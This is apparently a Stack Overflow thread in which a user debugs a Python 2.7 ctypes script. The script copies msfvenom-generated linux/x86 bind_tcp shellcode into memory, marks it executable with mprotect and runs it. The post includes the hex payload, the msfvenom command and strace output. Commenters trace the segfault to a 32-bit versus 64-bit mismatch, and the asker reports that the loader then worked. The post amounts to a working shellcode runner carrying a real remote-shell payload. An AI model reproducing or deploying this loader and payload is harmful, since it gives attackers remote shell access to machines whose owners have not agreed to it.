2

Background:

Writing a proof of concept that includes executing machine code it within the running python process. Wanting to make the functionality cross platforms, but problem arises when tested against unix systems.

Almost exactly like this question: Python ctypes and function calls but the solution does not work this time.

Problem: When executing the python script in VM 32bit Ubuntu server 12.04.5 LTS, the output says

Segmentation fault (core dumped)

Which means I am getting denied for accessing memory that I don't have permission for. This is strange b/c in the source code I also set cytpes.mprotect(allocated_space, space_size, 7) <== 4 + 2 + 1 is for wrx permissions

NOTE: Please do not try to execute the following machine code on a machine without having full consent from owner for testing purposes.

Python Script:

 #!/usr/bin/env python

import ctypes
import os
import sys

# linux machine code
buf += "\xbd\xfc\xa1\x5d\x63\xd9\xee\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x1c\x31\x6e\x14\x03\x6e\x14\x83\xee\xfc\x1e"
buf += "\x54\x37\x1e\x86\x0e\x7a\xe7\x8f\x31\x6b\xe8\xef\xb8"
buf += "\x68\x8e\x6e\x59\x6e\xbf\xbd\x1e\x5e\xe4\xca\xfc\xf2"
buf += "\x59\x67\x69\xf7\xd4\x66\xdd\x91\x2b\xe8\x4f\x34\xb0"
buf += "\xbc\x05\xca\xd2\x3d\x8a\x5d\xab\xdc\x40\x6c\xf7\x74"
buf += "\xf3\x28\xca\x08\x6c\x4b\x10\x1c\xca\x17\xc7\x4e\x84"
buf += "\xa5\xf7\x7f\x08\xc0\xe7\x2e\xe0\x9d\xe9\xba\x66\xc6"
buf += "\x24\xba\xb6\x15\x06\xdc\xf5\x5a\x37\x63\xb6\x3d\x31"
buf += "\x32\xb2\x0c\xc1\x27\x0c\x82\x72\x44\xbc\x1b\xf5\x95"
buf += "\x65\xac\xfc\xe4\x1a\x33\xe1"



def main(buf):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            buf_ptr = ctypes.c_char_p(buf)                               

            size = len(buf)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, buf_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

Question: Can someone explain why does the segmentation fault message appear and how do we fix such problem?

Credits: this unix implementation originated at sickle.py @ Line743-753

The only difference is the reference script is using python 3, while I am using python 2.7.

UPDATE:

After many trials and errors, including running the program in pdb. The segmentation fault error happened after the line of:

run()

Can someone please explain why this is happening?

Edit:

machine code/shellcode generated using:

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

This PoC is inspired by Professor Viviek of SPSE and twittor

Using strace to pinpoint

the result prior to segmentation fault are as follow:

mprotect(0x11ad000, 137, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
capget(0x1, 0, {CAP_CHOWN|CAP_FSETID|CAP_SETGID|CAP_NET_BIND_SERVICE|CAP_SYS_MODULE|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_SYS_BOOT|CAP_SYS_NICE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_FSETID|CAP_SETUID|CAP_LINUX_IMMUTABLE|CAP_NET_BIND_SERVICE|CAP_NET_ADMIN|CAP_NET_RAW|CAP_IPC_OWNER|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_LEASE|CAP_AUDIT_WRITE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_SETPCAP|CAP_NET_BIND_SERVICE|CAP_NET_BROADCAST|CAP_IPC_LOCK|CAP_IPC_OWNER|CAP_SYS_NICE|CAP_SYS_RESOURCE|CAP_SYS_TIME|CAP_SYS_TTY_CONFIG|CAP_SETFCAP}) = -1 ENOMEM (Cannot allocate memory)
getuid()                                = -1 EINVAL (Invalid argument)
getuid()                                = -1 EFAULT (Bad address)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++
17
  • 2
    Use a debugger to pinpoint the fault. Also, check for errors from the system calls. Alternatively, use strace. Commented Jun 3, 2018 at 17:40
  • 1
    Can you show us the actual machine code you are using in buf? Could be you are modifying a non volatile register and not properly restoring it. Commented Jun 3, 2018 at 19:27
  • 2
    That is in fact likely, since the getuid syscall has number 102 in 64 bit mode, and that corresponds to socketcall in 32 bit mode. The latter would of course make sense in a shell code intended to play with sockets. So either generate a 64 bit shellcode or run your code in 32 bit mode. Commented Jun 3, 2018 at 22:19
  • 1
    I agree with @Jester. I find it interesting though that you claim you are using 32-bit Ubuntu 12.04 LTS. You sure about that that? To tell can you show us the output of the command uname -a Commented Jun 3, 2018 at 22:43
  • 2
    @Jester and MichaelPetch you guys are right. This was such a terrible mistake on my part. The Ubuntu VM is 64 bit, after feeding the script a 64 bit machine code, it ran successfully. Thank you Jester for pointing that out, wish I can upvote, but not enough reps. Commented Jun 3, 2018 at 22:48

1 Answer 1

1

The system information was bad, the VM is running on x64 architecture, so inputting a x64 code into the script worked beautifully. Finally solved the mystery, thank you @Jester for pointing out and pin pointing the problem.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.